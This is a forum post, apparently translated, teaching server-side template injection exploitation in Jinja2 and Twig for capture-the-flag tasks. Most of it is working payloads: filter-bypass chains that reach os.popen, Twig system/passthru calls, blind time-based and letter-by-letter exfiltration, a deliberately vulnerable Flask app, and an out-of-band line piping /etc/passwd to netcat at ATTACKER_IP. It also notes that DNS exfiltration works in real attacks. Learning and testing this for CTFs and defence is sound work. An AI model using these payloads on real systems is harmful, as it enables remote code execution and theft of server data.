SSTI Vulnerability: Jinja2 and Twig Exploited in CTF part 2

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
790
Reaction score
1,510
Bypassing the Jinja2 Sandbox: Filters




Progression of bypasses: period, underscore, brackets


In medium- and high-difficulty CTF tasks, the authors implement WAFs or blacklists on specific symbols. Below is a progression of bypasses based on research by Gus from OnSecurity. Each level removes another restriction.





Base payload: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}.





The dot is blocked - replace it with dictionary syntax: {{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}In Python foo.bar And foo['bar']for accessing attributes are equivalent in most cases.





Dots and underscores are blocked - use hex encoding \x5finstead of _: {{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}.





Periods, underscores, and square brackets are blocked —switching to a Jinja2 filter attr():



{{request|attr('application')

|attr('\x5f\x5fglobals\x5f\x5f')

|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')

|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')

|attr('popen')('id')

|attr('read')()}}





This payload uses only parentheses, single quotes, and pipes—the bare minimum. Gus developed it for PayloadsAllTheThings (the swisskyrepo repository on GitHub), and it's the version most often used to solve CTF tasks with strict filters.





Another trick is to bypass quote blocking. According to YesWeHack, if quotes are filtered, a string can be constructed from the globals string representation using a slice: {{self.__init__.__globals__.__str__()[1786:1788]}}will return a substring from the namespace. Indexes depend on the environment, but on the Flask testbed, positions are found in a couple of minutes using binary search.







RCE without double curly braces


Sometimes WAF blocks {{ And }}Many CTF players stop here, considering injection a dead end. But Jinja2 has alternative tags: {% %}for control structures.





The idea: if the template engine needs to compare the result of a function call with a string, it will FIRST execute the function. This allows the use of the construct iffor blind execution of commands:





{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}





If the server responds with a 5-second delay, the command is executed. Data exfiltration is performed using startswith()letter by letter, similar to blind SQL injection. Payload checks whether the output begins idfrom a specific character. According to the server response (contains yesor not), the script reconstructs the output letter by letter. OnSecurity published a ready-made Python script for such automation—it iterates through the characters from string.printableand collects the full output from the template's binary response.







Twig SSTI Exploitation: PHP Engine Payload




RCE via system() and built-in filters


Twig is a PHP templating engine used in Symfony and other frameworks. Unlike Jinja2, which requires climbing the Python class hierarchy, Twig often offers a shorter path to RCE. However, this depends on the version.





In older versions of Twig (before 2.4), the classic payload worked: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}The first statement registers a PHP function. system()as a handler for unknown filters. The second one calls a non-existent filter. id, what triggers system('id')The result is the command output right on the page. Elegant.





Since Twig 2.4 the method registerUndefinedFilterCallbackRemoved. This is where the filter technique comes in handy. map: payload {{['id']|map('system')|join}} passes the string 'id'through map, which causes system()for each element of the array. Works when systemNot blacklisted. Blocked - try it. passthru, exec or shell_exec.





Payload is useful for reconnaissance in Symfony applications {{app.request.server.all|join(',')}}- It will output server environment variables, including paths, configurations, and sometimes database secrets.







Twig Without Quotes: Block Technique


If Twig is configured with auto-escaping and quotes are filtered, standard payloads break. Researcher Brumens from YesWeHack (presenting at Ekoparty 2024) proposed a workaround using Twig blocks and an inline variable. _charset:





{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}





Mechanics: block Ucontains a string id000passthru. Variable xgets the contents of the block via block(), splits it by the separator 000to the array ['id', 'passthru']. Then x|first (line id) is passed as an argument in x|last(function passthru) through the filter map. Result - fulfillment passthru('id')Not a single quotation mark in the payload. Now that's what I call creativity.





This technique demonstrates the key principle of SSTI exploitation: if the direct path is blocked, we construct a workaround using the template engine's built-in mechanisms. Every filter, every built-in variable is a potential primitive for the chain.







Finding SSTI Vulnerabilities: A Step-by-Step CTF Scenario




Do it once: deploy the stand and find the injection


To practice this technique, deploy a minimal vulnerable Flask application in 8 lines:



from flask import Flask, request, render_template_string



app = Flask(__name__)



@app.route("/")

def home():

name = request.args.get('name', 'World')

return render_template_string(f"Hello {name}!")



app.run(debug=True)





Run ( pip install 'flask>=3.1.1' && python app.py) — version 3.1.1+ closes known DoS vulnerabilities (GHSA-562c-5r94-xh97, GHSA-5wv5-4vpf-pj6m) — and open http://localhost:5000/?name={{7*7}}. See Hello 49!— the stand works. The vulnerability here is that name is substituted directly into the template string via an f-string, rather than being passed as a parameter: render_template_string("Hello {{name}}!", name=name)The second design is safe—user input is treated as data, not as part of a template.







Do two: define the engine and find subclasses


Send ?name={{7*'7'}}. Answer Hello 7777777!Jinja2 confirms (Python echoes the string). Now we list the subclasses: ?name={{"".__class__.__mro__[1].__subclasses__()}}The server will return an array of hundreds of classes. Look for it in the response. subprocess.Popen- write down its index.





If the list is too long to search manually, please send ?name={{"".__class__.__mro__[1].__subclasses__()|length}}to find out the total number, then iterate over the ranges using Burp Intruder or a Python script with requests.get().







Do three: collect the payload and read the flag


Let's say, subprocess.Popenfound at position 407. Final URL: ?name={{"".__class__.__mro__[1].__subclasses__()[407]('cat flag.txt',shell=True,stdout=-1).communicate()}}.





If the index is correct, the response will contain the content flag.txtIf you get an error, recalculate the index or try an alternative class ( os._wrap_close, warnings.catch_warnings).





A fast alternative payload without index iteration: {{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}He uses __builtins__for direct import os— works on default Flask without a sandbox and doesn't require knowledge of the subclass index. For CTFs of average complexity, the solution usually fits into this single query.







Blind SSTI: Exfiltration without page output


Not every CTF task displays the injection result. Sometimes the payload is executed, but the output is suppressed—a classic blind scenario. This is where things get interesting.





The first step is to commit the execution via a time-based vector. Send the payload with sleepthrough {% %}construction: if the response is delayed for a specified time, the code is executed. A delay of 5 seconds is a sufficient indicator.





The second step is letter-by-letter exfiltration through startswith()Payload checks whether the command output begins with a certain character. Based on the server's response (True or False), the script reconstructs the output letter by letter. Slow, but it works.





The third option is out-of-band exfiltration. Payload with cat /etc/passwd | nc ATTACKER_IP 1337Sends the command output to the attacker's netcat listener. DNS exfiltration via nslookupUsing a controlled domain works not only in CTFs but also in real-world attacks: the attacker sends a payload that makes a DNS request and confirms the code execution using DNS server logs. In CTF infrastructure, outbound access is often limited, so the DNS vector is often more secure than HTTP.







Tools for searching for SSTI vulnerabilities


For quick reconnaissance there is tplmap— it automatically detects the template engine and attempts to exploit SSTI. Launch: tplmap -u "http://target/?name=*"— the asterisk marks the injection point. The tool tests Jinja2, Twig, Freemarker, Mako, Velocity, and other engines; if a vulnerability is detected, it offers an interactive shell.





But relying solely on automation is a recipe for disappointment. On CTFs with custom filters tplmapIt can't handle it: its default payloads are blocked by the WAF. This is why it's important to understand the mechanics of the MRO chain and be able to assemble the payload manually. Automation is for initial reconnaissance, while manual work is for bypassing non-standard restrictions.





In Burp Suite, use Intruder for testing with a set of payloads from PayloadsAllTheThings (the swisskyrepo repository on GitHub)—the most comprehensive collection of SSTI vectors sorted by engine. Repeater is convenient for manual iteration: send the payload, look at the response, adjust, and repeat. This cycle typically takes 5-10 minutes per task without a WAF and 20-40 minutes with filters.





This article covered the two most common CTF templating engines, but SSTI also exists in Freemarker (Java), Mako (Python), Velocity (Java), ERB (Ruby), and Razor (.NET). The principle is the same: find the injection point, determine the engine, and build a chain from built-in objects to the OS call. The syntax and available primitives vary, but the methodology—from arithmetic through object exploration to RCE—remains universal.





Based on my experience over the past two years, every third web task of average complexity on CTF platforms contains either SSTI or deserialization. The difference is that SSTI is usually solved in 5-15 minutes if you understand the process, while deserialization requires analyzing gadget classes and can take hours. Therefore, I always begin my web task reconnaissance with three tests: ' OR 1=1--(SQLi), {{7*7}}(SSTI) and <script>alert(1)</script>(XSS). Two out of three give results within the first minute.
 
Top Bottom